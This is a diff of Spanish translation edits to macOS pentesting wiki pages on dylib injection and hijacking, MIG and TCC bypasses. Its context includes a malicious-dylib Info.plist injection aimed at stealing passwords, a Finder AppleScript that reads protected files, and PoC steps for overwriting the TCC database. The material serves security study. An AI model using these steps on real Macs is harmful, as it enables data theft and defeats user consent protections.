@ -288,13 +288,13 @@ return 0;
|
||||
```
|
||||
## Metodología de Ataque por Hooking
|
||||
|
||||
En esta página se discutieron diferentes formas de enganchar funciones. Sin embargo, involucraron **ejecutar código dentro del proceso para atacar**.
|
||||
En esta página se discutieron diferentes formas de enganchar funciones. Sin embargo, implicaron **ejecutar código dentro del proceso para atacar**.
|
||||
|
||||
Para hacer eso, la técnica más fácil de usar es inyectar un [Dyld a través de variables de entorno o secuestro](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md). Sin embargo, supongo que esto también podría hacerse a través de [inyección de proceso Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
Para hacer eso, la técnica más fácil de usar es inyectar un [Dyld a través de variables de entorno o secuestro](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md). Sin embargo, supongo que esto también podría hacerse a través de [inyección de procesos Dylib](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
|
||||
|
||||
Sin embargo, ambas opciones están **limitadas** a binarios/procesos **no protegidos**. Revisa cada técnica para aprender más sobre las limitaciones.
|
||||
Sin embargo, ambas opciones están **limitadas** a binarios/procesos **no protegidos**. Consulta cada técnica para aprender más sobre las limitaciones.
|
||||
|
||||
Sin embargo, un ataque de hooking de funciones es muy específico, un atacante hará esto para **robar información sensible desde dentro de un proceso** (si no, simplemente harías un ataque de inyección de proceso). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
|
||||
Sin embargo, un ataque de hooking de funciones es muy específico, un atacante hará esto para **robar información sensible desde dentro de un proceso** (si no, simplemente harías un ataque de inyección de procesos). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
|
||||
|
||||
Así que el vector del atacante sería encontrar una vulnerabilidad o eliminar la firma de la aplicación, inyectar la variable de entorno **`DYLD_INSERT_LIBRARIES`** a través del Info.plist de la aplicación añadiendo algo como:
|
||||
```xml
|
||||
@ -304,14 +304,14 @@ Así que el vector del atacante sería encontrar una vulnerabilidad o eliminar l
|
||||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
y luego **volver a registrar** la aplicación:
|
||||
y luego **re-registrar** la aplicación:
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||
```
|
||||
Agrega en esa biblioteca el código de hooking para exfiltrar la información: Contraseñas, mensajes...
|
||||
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que en versiones más recientes de macOS, si **eliminaste la firma** del binario de la aplicación y se ejecutó previamente, macOS **no ejecutará la aplicación** más.
|
||||
> Ten en cuenta que en versiones más recientes de macOS si **eliminaste la firma** del binario de la aplicación y se ejecutó previamente, macOS **ya no ejecutará la aplicación**.
|
||||
|
||||
#### Ejemplo de biblioteca
|
||||
```objectivec
|
||||
|
||||
@ -40,7 +40,7 @@ server_port : mach_port_t;
|
||||
n1 : uint32_t;
|
||||
n2 : uint32_t);
|
||||
```
|
||||
Tenga en cuenta que el primer **argumento es el puerto a enlazar** y MIG **manejará automáticamente el puerto de respuesta** (a menos que se llame a `mig_get_reply_port()` en el código del cliente). Además, el **ID de las operaciones** será **secuencial** comenzando por el ID del subsistema indicado (así que si una operación está obsoleta, se elimina y se usa `skip` para seguir utilizando su ID).
|
||||
Tenga en cuenta que el primer **argumento es el puerto a enlazar** y MIG **manejará automáticamente el puerto de respuesta** (a menos que se llame a `mig_get_reply_port()` en el código del cliente). Además, el **ID de las operaciones** será **secuencial** comenzando por el ID del subsistema indicado (por lo que si una operación está obsoleta, se elimina y se utiliza `skip` para seguir usando su ID).
|
||||
|
||||
Ahora use MIG para generar el código del servidor y del cliente que podrá comunicarse entre sí para llamar a la función Subtract:
|
||||
```bash
|
||||
@ -149,9 +149,9 @@ return FALSE;
|
||||
}
|
||||
</code></pre>
|
||||
|
||||
Verifique las líneas resaltadas anteriormente que acceden a la función para llamar por ID.
|
||||
Verifica las líneas resaltadas anteriormente que acceden a la función para llamar por ID.
|
||||
|
||||
El siguiente es el código para crear un **servidor** y un **cliente** simples donde el cliente puede llamar a las funciones Subtract del servidor:
|
||||
El siguiente es el código para crear un **servidor** y **cliente** simples donde el cliente puede llamar a las funciones Subtract del servidor:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="myipc_server.c"}}
|
||||
@ -217,13 +217,13 @@ USERPREFSubtract(port, 40, 2);
|
||||
|
||||
### El NDR_record
|
||||
|
||||
El NDR_record es exportado por `libsystem_kernel.dylib`, y es una estructura que permite a MIG **transformar datos para que sea agnóstico del sistema** en el que se está utilizando, ya que se pensó que MIG se usaría entre diferentes sistemas (y no solo en la misma máquina).
|
||||
El NDR_record es exportado por `libsystem_kernel.dylib`, y es una estructura que permite a MIG **transformar datos para que sea agnóstico del sistema** en el que se está utilizando, ya que MIG fue pensado para ser utilizado entre diferentes sistemas (y no solo en la misma máquina).
|
||||
|
||||
Esto es interesante porque si se encuentra `_NDR_record` en un binario como una dependencia (`jtool2 -S <binary> | grep NDR` o `nm`), significa que el binario es un cliente o servidor de MIG.
|
||||
Esto es interesante porque si se encuentra `_NDR_record` en un binario como una dependencia (`jtool2 -S <binary> | grep NDR` o `nm`), significa que el binario es un cliente o servidor MIG.
|
||||
|
||||
Además, los **servidores de MIG** tienen la tabla de despacho en `__DATA.__const` (o en `__CONST.__constdata` en el núcleo de macOS y `__DATA_CONST.__const` en otros núcleos \*OS). Esto se puede volcar con **`jtool2`**.
|
||||
Además, los **servidores MIG** tienen la tabla de despacho en `__DATA.__const` (o en `__CONST.__constdata` en el núcleo de macOS y `__DATA_CONST.__const` en otros núcleos \*OS). Esto se puede volcar con **`jtool2`**.
|
||||
|
||||
Y los **clientes de MIG** usarán el `__NDR_record` para enviar con `__mach_msg` a los servidores.
|
||||
Y los **clientes MIG** utilizarán el `__NDR_record` para enviar con `__mach_msg` a los servidores.
|
||||
|
||||
## Análisis de Binarios
|
||||
|
||||
@ -231,7 +231,7 @@ Y los **clientes de MIG** usarán el `__NDR_record` para enviar con `__mach_msg`
|
||||
|
||||
Como muchos binarios ahora utilizan MIG para exponer puertos mach, es interesante saber cómo **identificar que se utilizó MIG** y las **funciones que MIG ejecuta** con cada ID de mensaje.
|
||||
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) puede analizar información de MIG de un binario Mach-O indicando el ID de mensaje e identificando la función a ejecutar:
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) puede analizar información de MIG de un binario Mach-O indicando el ID de mensaje e identificando la función a ejecutar:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
|
||||
@ -15,12 +15,12 @@ macos-dyld-process.md
|
||||
|
||||
## **DYLD_INSERT_LIBRARIES**
|
||||
|
||||
Esto es como el [**LD_PRELOAD en Linux**](../../../../linux-hardening/privilege-escalation/#ld_preload). Permite indicar a un proceso que se va a ejecutar que cargue una biblioteca específica desde una ruta (si la variable de entorno está habilitada).
|
||||
Esto es como el [**LD_PRELOAD en Linux**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload). Permite indicar a un proceso que se va a ejecutar que cargue una biblioteca específica desde una ruta (si la variable de entorno está habilitada).
|
||||
|
||||
Esta técnica también puede ser **utilizada como una técnica ASEP** ya que cada aplicación instalada tiene un plist llamado "Info.plist" que permite la **asignación de variables ambientales** usando una clave llamada `LSEnvironmental`.
|
||||
|
||||
> [!NOTE]
|
||||
> Desde 2012 **Apple ha reducido drásticamente el poder** de **`DYLD_INSERT_LIBRARIES`**.
|
||||
> Desde 2012, **Apple ha reducido drásticamente el poder** de **`DYLD_INSERT_LIBRARIES`**.
|
||||
>
|
||||
> Ve al código y **verifica `src/dyld.cpp`**. En la función **`pruneEnvironmentVariables`** puedes ver que las variables **`DYLD_*`** son eliminadas.
|
||||
>
|
||||
@ -60,7 +60,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> Recuerda que **las restricciones de Validación de Bibliotecas anteriores también se aplican** para realizar ataques de secuestro de Dylib.
|
||||
|
||||
Al igual que en Windows, en MacOS también puedes **secuestro de dylibs** para hacer que **aplicaciones** **ejecuten** **código** **arbitrario** (bueno, en realidad desde un usuario regular esto podría no ser posible ya que podrías necesitar un permiso de TCC para escribir dentro de un paquete `.app` y secuestrar una biblioteca).\
|
||||
Sin embargo, la forma en que las aplicaciones de **MacOS** **cargan** bibliotecas es **más restringida** que en Windows. Esto implica que los desarrolladores de **malware** aún pueden usar esta técnica para **sigilo**, pero la probabilidad de poder **abusar de esto para escalar privilegios es mucho menor**.
|
||||
Sin embargo, la forma en que las **aplicaciones de MacOS** **cargan** bibliotecas es **más restringida** que en Windows. Esto implica que los desarrolladores de **malware** aún pueden usar esta técnica para **sigilo**, pero la probabilidad de poder **abusar de esto para escalar privilegios es mucho menor**.
|
||||
|
||||
Primero que nada, es **más común** encontrar que los **binarios de MacOS indican la ruta completa** a las bibliotecas a cargar. Y segundo, **MacOS nunca busca** en las carpetas de **$PATH** para bibliotecas.
|
||||
|
||||
@ -117,9 +117,9 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> [!CAUTION]
|
||||
> Recuerda que **las restricciones de Validación de Bibliotecas anteriores también se aplican** para realizar ataques de secuestro de Dlopen.
|
||||
|
||||
Desde **`man dlopen`**:
|
||||
De **`man dlopen`**:
|
||||
|
||||
- Cuando la ruta **no contiene un carácter de barra** (es decir, es solo un nombre de hoja), **dlopen() realizará una búsqueda**. Si **`$DYLD_LIBRARY_PATH`** se estableció al inicio, dyld primero **mirará en ese directorio**. Luego, si el archivo macho que llama o el ejecutable principal especifican un **`LC_RPATH`**, entonces dyld **mirará en esos** directorios. A continuación, si el proceso es **sin restricciones**, dyld buscará en el **directorio de trabajo actual**. Por último, para binarios antiguos, dyld intentará algunas alternativas. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** se estableció al inicio, dyld buscará en **esos directorios**, de lo contrario, dyld buscará en **`/usr/local/lib/`** (si el proceso es sin restricciones), y luego en **`/usr/lib/`** (esta información fue tomada de **`man dlopen`**).
|
||||
- Cuando la ruta **no contiene un carácter de barra** (es decir, es solo un nombre de hoja), **dlopen() hará una búsqueda**. Si **`$DYLD_LIBRARY_PATH`** se estableció al inicio, dyld primero **mirará en ese directorio**. Luego, si el archivo mach-o que llama o el ejecutable principal especifican un **`LC_RPATH`**, entonces dyld **mirará en esos** directorios. A continuación, si el proceso es **sin restricciones**, dyld buscará en el **directorio de trabajo actual**. Por último, para binarios antiguos, dyld intentará algunas alternativas. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** se estableció al inicio, dyld buscará en **esos directorios**, de lo contrario, dyld buscará en **`/usr/local/lib/`** (si el proceso es sin restricciones), y luego en **`/usr/lib/`** (esta información fue tomada de **`man dlopen`**).
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
2. `LC_RPATH`
|
||||
3. `CWD`(si no está restringido)
|
||||
@ -131,40 +131,40 @@ Desde **`man dlopen`**:
|
||||
> Si no hay barras en el nombre, habría 2 formas de hacer un secuestro:
|
||||
>
|
||||
> - Si algún **`LC_RPATH`** es **escribible** (pero se verifica la firma, así que para esto también necesitas que el binario no esté restringido)
|
||||
> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD (o abusar de una de las variables de entorno mencionadas)
|
||||
> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD (o abusando de una de las variables de entorno mencionadas)
|
||||
|
||||
- Cuando la ruta **parece un marco** (por ejemplo, `/stuff/foo.framework/foo`), si **`$DYLD_FRAMEWORK_PATH`** se estableció al inicio, dyld primero buscará en ese directorio para la **ruta parcial del marco** (por ejemplo, `foo.framework/foo`). Luego, dyld intentará la **ruta proporcionada tal cual** (usando el directorio de trabajo actual para rutas relativas). Por último, para binarios antiguos, dyld intentará algunas alternativas. Si **`$DYLD_FALLBACK_FRAMEWORK_PATH`** se estableció al inicio, dyld buscará en esos directorios. De lo contrario, buscará en **`/Library/Frameworks`** (en macOS si el proceso es sin restricciones), luego en **`/System/Library/Frameworks`**.
|
||||
- Cuando la ruta **parece una ruta de framework** (por ejemplo, `/stuff/foo.framework/foo`), si **`$DYLD_FRAMEWORK_PATH`** se estableció al inicio, dyld primero buscará en ese directorio la **ruta parcial del framework** (por ejemplo, `foo.framework/foo`). Luego, dyld intentará la **ruta suministrada tal cual** (usando el directorio de trabajo actual para rutas relativas). Por último, para binarios antiguos, dyld intentará algunas alternativas. Si **`$DYLD_FALLBACK_FRAMEWORK_PATH`** se estableció al inicio, dyld buscará en esos directorios. De lo contrario, buscará en **`/Library/Frameworks`** (en macOS si el proceso es sin restricciones), luego en **`/System/Library/Frameworks`**.
|
||||
1. `$DYLD_FRAMEWORK_PATH`
|
||||
2. ruta proporcionada (usando el directorio de trabajo actual para rutas relativas si no está restringido)
|
||||
2. ruta suministrada (usando el directorio de trabajo actual para rutas relativas si no está restringido)
|
||||
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
|
||||
4. `/Library/Frameworks` (si no está restringido)
|
||||
5. `/System/Library/Frameworks`
|
||||
|
||||
> [!CAUTION]
|
||||
> Si es una ruta de marco, la forma de secuestrarlo sería:
|
||||
> Si es una ruta de framework, la forma de secuestrarla sería:
|
||||
>
|
||||
> - Si el proceso es **sin restricciones**, abusando de la **ruta relativa desde CWD** las variables de entorno mencionadas (incluso si no se dice en la documentación si el proceso está restringido, las variables de entorno DYLD\_\* son eliminadas)
|
||||
|
||||
- Cuando la ruta **contiene una barra pero no es una ruta de marco** (es decir, una ruta completa o una ruta parcial a un dylib), dlopen() primero busca en (si está establecido) en **`$DYLD_LIBRARY_PATH`** (con la parte de hoja de la ruta). Luego, dyld **intenta la ruta proporcionada** (usando el directorio de trabajo actual para rutas relativas (pero solo para procesos sin restricciones)). Por último, para binarios más antiguos, dyld intentará alternativas. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** se estableció al inicio, dyld buscará en esos directorios, de lo contrario, dyld buscará en **`/usr/local/lib/`** (si el proceso es sin restricciones), y luego en **`/usr/lib/`**.
|
||||
- Cuando la ruta **contiene una barra pero no es una ruta de framework** (es decir, una ruta completa o una ruta parcial a un dylib), dlopen() primero busca en (si está establecido) en **`$DYLD_LIBRARY_PATH`** (con la parte de hoja de la ruta). Luego, dyld **intenta la ruta suministrada** (usando el directorio de trabajo actual para rutas relativas (pero solo para procesos sin restricciones)). Por último, para binarios más antiguos, dyld intentará alternativas. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** se estableció al inicio, dyld buscará en esos directorios, de lo contrario, dyld buscará en **`/usr/local/lib/`** (si el proceso es sin restricciones), y luego en **`/usr/lib/`**.
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
2. ruta proporcionada (usando el directorio de trabajo actual para rutas relativas si no está restringido)
|
||||
2. ruta suministrada (usando el directorio de trabajo actual para rutas relativas si no está restringido)
|
||||
3. `$DYLD_FALLBACK_LIBRARY_PATH`
|
||||
4. `/usr/local/lib/` (si no está restringido)
|
||||
5. `/usr/lib/`
|
||||
|
||||
> [!CAUTION]
|
||||
> Si hay barras en el nombre y no es un marco, la forma de secuestrarlo sería:
|
||||
> Si hay barras en el nombre y no es un framework, la forma de secuestrarlo sería:
|
||||
>
|
||||
> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD o `/usr/local/lib` (o abusar de una de las variables de entorno mencionadas)
|
||||
> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD o `/usr/local/lib` (o abusando de una de las variables de entorno mencionadas)
|
||||
|
||||
> [!NOTE]
|
||||
> Nota: No hay **archivos de configuración** para **controlar la búsqueda de dlopen**.
|
||||
>
|
||||
> Nota: Si el ejecutable principal es un **binario set\[ug]id o firmado con derechos**, entonces **todas las variables de entorno son ignoradas**, y solo se puede usar una ruta completa ([ver restricciones de DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) para más información detallada)
|
||||
>
|
||||
> Nota: Las plataformas de Apple utilizan archivos "universales" para combinar bibliotecas de 32 bits y 64 bits. Esto significa que no hay **rutas de búsqueda separadas de 32 bits y 64 bits**.
|
||||
> Nota: Las plataformas de Apple utilizan archivos "universales" para combinar bibliotecas de 32 bits y 64 bits. Esto significa que no hay **rutas de búsqueda separadas para 32 bits y 64 bits**.
|
||||
>
|
||||
> Nota: En las plataformas de Apple, la mayoría de los dylibs del sistema operativo están **combinados en la caché de dyld** y no existen en el disco. Por lo tanto, llamar a **`stat()`** para preflight si un dylib del sistema operativo existe **no funcionará**. Sin embargo, **`dlopen_preflight()`** utiliza los mismos pasos que **`dlopen()`** para encontrar un archivo mach-o compatible.
|
||||
> Nota: En las plataformas de Apple, la mayoría de las dylibs del sistema operativo están **combinadas en la caché de dyld** y no existen en el disco. Por lo tanto, llamar a **`stat()`** para preflight si una dylib del sistema operativo existe **no funcionará**. Sin embargo, **`dlopen_preflight()`** utiliza los mismos pasos que **`dlopen()`** para encontrar un archivo mach-o compatible.
|
||||
|
||||
**Verificar rutas**
|
||||
|
||||
@ -219,7 +219,7 @@ sudo fs_usage | grep "dlopentest"
|
||||
|
||||
Si un **binario/app privilegiado** (como un SUID o algún binario con privilegios poderosos) está **cargando una biblioteca de ruta relativa** (por ejemplo, usando `@executable_path` o `@loader_path`) y tiene **la Validación de Biblioteca deshabilitada**, podría ser posible mover el binario a una ubicación donde el atacante podría **modificar la biblioteca de ruta relativa cargada**, y abusar de ella para inyectar código en el proceso.
|
||||
|
||||
## Podar las variables de entorno `DYLD_*` y `LD_LIBRARY_PATH`
|
||||
## Podar variables de entorno `DYLD_*` y `LD_LIBRARY_PATH`
|
||||
|
||||
En el archivo `dyld-dyld-832.7.1/src/dyld2.cpp` es posible encontrar la función **`pruneEnvironmentVariables`**, que eliminará cualquier variable de entorno que **comience con `DYLD_`** y **`LD_LIBRARY_PATH=`**.
|
||||
|
||||
@ -284,7 +284,7 @@ sudo chmod -s hello
|
||||
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
||||
```
|
||||
### Runtime endurecido
|
||||
### Hardened runtime
|
||||
|
||||
Crea un nuevo certificado en el llavero y úsalo para firmar el binario:
|
||||
```bash
|
||||
@ -309,7 +309,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que incluso si hay binarios firmados con las banderas **`0x0(none)`**, pueden obtener la bandera **`CS_RESTRICT`** dinámicamente al ejecutarse y, por lo tanto, esta técnica no funcionará en ellos.
|
||||
>
|
||||
> Puede verificar si un proc tiene esta bandera con (consulte [**csops aquí**](https://github.com/axelexic/CSOps)):
|
||||
> Puede verificar si un proceso tiene esta bandera con (consulte [**csops aquí**](https://github.com/axelexic/CSOps)):
|
||||
>
|
||||
> ```bash
|
||||
> csops -status <pid>
|
||||
@ -317,7 +317,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
>
|
||||
> y luego verifique si la bandera 0x800 está habilitada.
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/](https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/)
|
||||
- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
|
||||
@ -20,7 +20,7 @@ El **atributo extendido `com.apple.macl`** se añade al nuevo **archivo** para d
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
Es posible **poner una ventana sobre el aviso de TCC** para hacer que el usuario **lo acepte** sin darse cuenta. Puedes encontrar un PoC en [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
Es posible **poner una ventana sobre el aviso de TCC** para hacer que el usuario **acepte** sin darse cuenta. Puedes encontrar un PoC en [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
@ -37,7 +37,7 @@ Más información y PoC en:
|
||||
../../../macos-privilege-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass de SSH
|
||||
### Bypass SSH
|
||||
|
||||
Por defecto, un acceso a través de **SSH solía tener "Acceso Completo al Disco"**. Para deshabilitar esto, necesitas tenerlo listado pero deshabilitado (eliminarlo de la lista no eliminará esos privilegios):
|
||||
|
||||
@ -62,7 +62,7 @@ El derecho **`com.apple.private.icloud-account-access`** permite comunicarse con
|
||||
|
||||
**iMovie** y **Garageband** tenían este derecho y otros que lo permitían.
|
||||
|
||||
Para más **información** sobre la explotación para **obtener tokens de iCloud** de ese derecho, consulta la charla: [**#OBTS v5.0: "¿Qué sucede en tu Mac, se queda en iCloud de Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Para más **información** sobre la explotación para **obtener tokens de iCloud** de ese derecho, consulta la charla: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Automatización
|
||||
|
||||
@ -96,7 +96,7 @@ end tell
|
||||
```bash
|
||||
osascript iterm.script
|
||||
```
|
||||
#### Sobre Finder
|
||||
#### Over Finder
|
||||
|
||||
O si una aplicación tiene acceso sobre Finder, podría ser un script como este:
|
||||
```applescript
|
||||
@ -108,14 +108,14 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia
|
||||
end tell
|
||||
do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
```
|
||||
## Comportamiento de la aplicación
|
||||
## Por comportamiento de la aplicación
|
||||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
El **daemon tccd** de userland estaba utilizando la variable de entorno **`HOME`** para acceder a la base de datos de usuarios de TCC desde: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
El **daemon tccd** en el espacio de usuario estaba utilizando la variable de entorno **`HOME`** para acceder a la base de datos de usuarios de TCC desde: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
Según [esta publicación de Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) y porque el daemon TCC se ejecuta a través de `launchd` dentro del dominio del usuario actual, es posible **controlar todas las variables de entorno** pasadas a él.\
|
||||
Así, un **atacante podría establecer la variable de entorno `$HOME`** en **`launchctl`** para apuntar a un **directorio controlado**, **reiniciar** el **daemon TCC**, y luego **modificar directamente la base de datos de TCC** para otorgarse **todas las concesiones de TCC disponibles** sin nunca solicitar al usuario final.\
|
||||
Según [esta publicación de Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) y debido a que el daemon TCC se ejecuta a través de `launchd` dentro del dominio del usuario actual, es posible **controlar todas las variables de entorno** pasadas a él.\
|
||||
Así, un **atacante podría establecer la variable de entorno `$HOME`** en **`launchctl`** para apuntar a un **directorio controlado**, **reiniciar** el **daemon TCC**, y luego **modificar directamente la base de datos de TCC** para otorgarse **todos los derechos de TCC disponibles** sin nunca solicitar al usuario final.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
@ -151,23 +151,23 @@ Las notas tenían acceso a ubicaciones protegidas por TCC, pero cuando se crea u
|
||||
|
||||
### CVE-2021-30782 - Translocación
|
||||
|
||||
El binario `/usr/libexec/lsd` con la biblioteca `libsecurity_translocate` tenía el derecho `com.apple.private.nullfs_allow`, lo que le permitía crear un **nullfs** mount y tenía el derecho `com.apple.private.tcc.allow` con **`kTCCServiceSystemPolicyAllFiles`** para acceder a todos los archivos.
|
||||
El binario `/usr/libexec/lsd` con la biblioteca `libsecurity_translocate` tenía el derecho `com.apple.private.nullfs_allow`, lo que le permitía crear un **nullfs** mount y tenía el derecho `com.apple.private.tcc.allow` con **`kTCCServiceSystemPolicyAllFiles`** para acceder a cada archivo.
|
||||
|
||||
Era posible agregar el atributo de cuarentena a "Library", llamar al servicio XPC **`com.apple.security.translocation`** y luego se mapearía Library a **`$TMPDIR/AppTranslocation/d/d/Library`** donde todos los documentos dentro de Library podrían ser **accedidos**.
|
||||
Era posible agregar el atributo de cuarentena a "Library", llamar al servicio XPC **`com.apple.security.translocation`** y luego mapear Library a **`$TMPDIR/AppTranslocation/d/d/Library`** donde todos los documentos dentro de Library podían ser **accedidos**.
|
||||
|
||||
### CVE-2023-38571 - Música y TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`Music`** tiene una característica interesante: Cuando está en funcionamiento, **importará** los archivos que se suelten en **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** en la "biblioteca de medios" del usuario. Además, llama a algo como: **`rename(a, b);`** donde `a` y `b` son:
|
||||
**`Music`** tiene una característica interesante: Cuando está en funcionamiento, **importará** los archivos que se coloquen en **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** a la "biblioteca de medios" del usuario. Además, llama a algo como: **`rename(a, b);`** donde `a` y `b` son:
|
||||
|
||||
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
||||
Este comportamiento de **`rename(a, b);`** es vulnerable a una **Condición de Carrera**, ya que es posible poner dentro de la carpeta `Automatically Add to Music.localized` un archivo **TCC.db** falso y luego, cuando se crea la nueva carpeta (b) para copiar el archivo, eliminarlo y apuntarlo a **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
Este comportamiento de **`rename(a, b);`** es vulnerable a una **Condición de Carrera**, ya que es posible colocar dentro de la carpeta `Automatically Add to Music.localized` un archivo **TCC.db** falso y luego, cuando se crea la nueva carpeta (b) para copiar el archivo, eliminarlo y apuntarlo a **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
|
||||
### SQLITE_SQLLOG_DIR - CVE-2023-32422
|
||||
|
||||
Si **`SQLITE_SQLLOG_DIR="path/folder"`** significa básicamente que **cualquier base de datos abierta se copia a esa ruta**. En este CVE, este control fue abusado para **escribir** dentro de una **base de datos SQLite** que va a ser **abierta por un proceso con FDA la base de datos TCC**, y luego abusar de **`SQLITE_SQLLOG_DIR`** con un **symlink en el nombre del archivo** para que cuando esa base de datos esté **abierta**, el usuario **TCC.db se sobrescriba** con la abierta.\
|
||||
**Más info** [**en el informe**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **y**[ **en la charla**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
|
||||
Si **`SQLITE_SQLLOG_DIR="path/folder"`** significa básicamente que **cualquier base de datos abierta se copia a esa ruta**. En este CVE, este control fue abusado para **escribir** dentro de una **base de datos SQLite** que va a ser **abierta por un proceso con FDA la base de datos TCC**, y luego abusar de **`SQLITE_SQLLOG_DIR`** con un **symlink en el nombre del archivo** para que cuando esa base de datos esté **abierta**, el usuario **TCC.db sea sobrescrito** con la que se abrió.\
|
||||
**Más info** [**en el informe**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **y** [**en la charla**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
|
||||
|
||||
### **SQLITE_AUTO_TRACE**
|
||||
|
||||
@ -186,11 +186,11 @@ Configurando lo siguiente: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Si `pa
|
||||
|
||||
- se abrirá un archivo `open()`, llamado `path/.dat.nosyncXXXX.XXXXXX` (X es aleatorio)
|
||||
- uno o más `write()` escribirán el contenido en el archivo (no controlamos esto)
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` será renombrado `renamed()` a `path/name`
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` será renombrado `rename()` a `path/name`
|
||||
|
||||
Es una escritura de archivo temporal, seguida de un **`rename(old, new)`** **que no es seguro.**
|
||||
|
||||
No es seguro porque tiene que **resolver las rutas antiguas y nuevas por separado**, lo que puede tardar un tiempo y puede ser vulnerable a una condición de carrera. Para más información, puedes consultar la función `renameat_internal()` de `xnu`.
|
||||
No es seguro porque tiene que **resolver las rutas antiguas y nuevas por separado**, lo que puede llevar algo de tiempo y puede ser vulnerable a una condición de carrera. Para más información, puedes consultar la función `renameat_internal()` de `xnu`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Entonces, básicamente, si un proceso privilegiado está renombrando desde una carpeta que controlas, podrías obtener un RCE y hacer que acceda a un archivo diferente o, como en este CVE, abrir el archivo que la aplicación privilegiada creó y almacenar un FD.
|
||||
@ -211,10 +211,10 @@ Este fue el ataque en el CVE: Por ejemplo, para sobrescribir el `TCC.db` del usu
|
||||
- probar si tuvimos suerte
|
||||
- si no, ejecutar de nuevo desde el principio
|
||||
|
||||
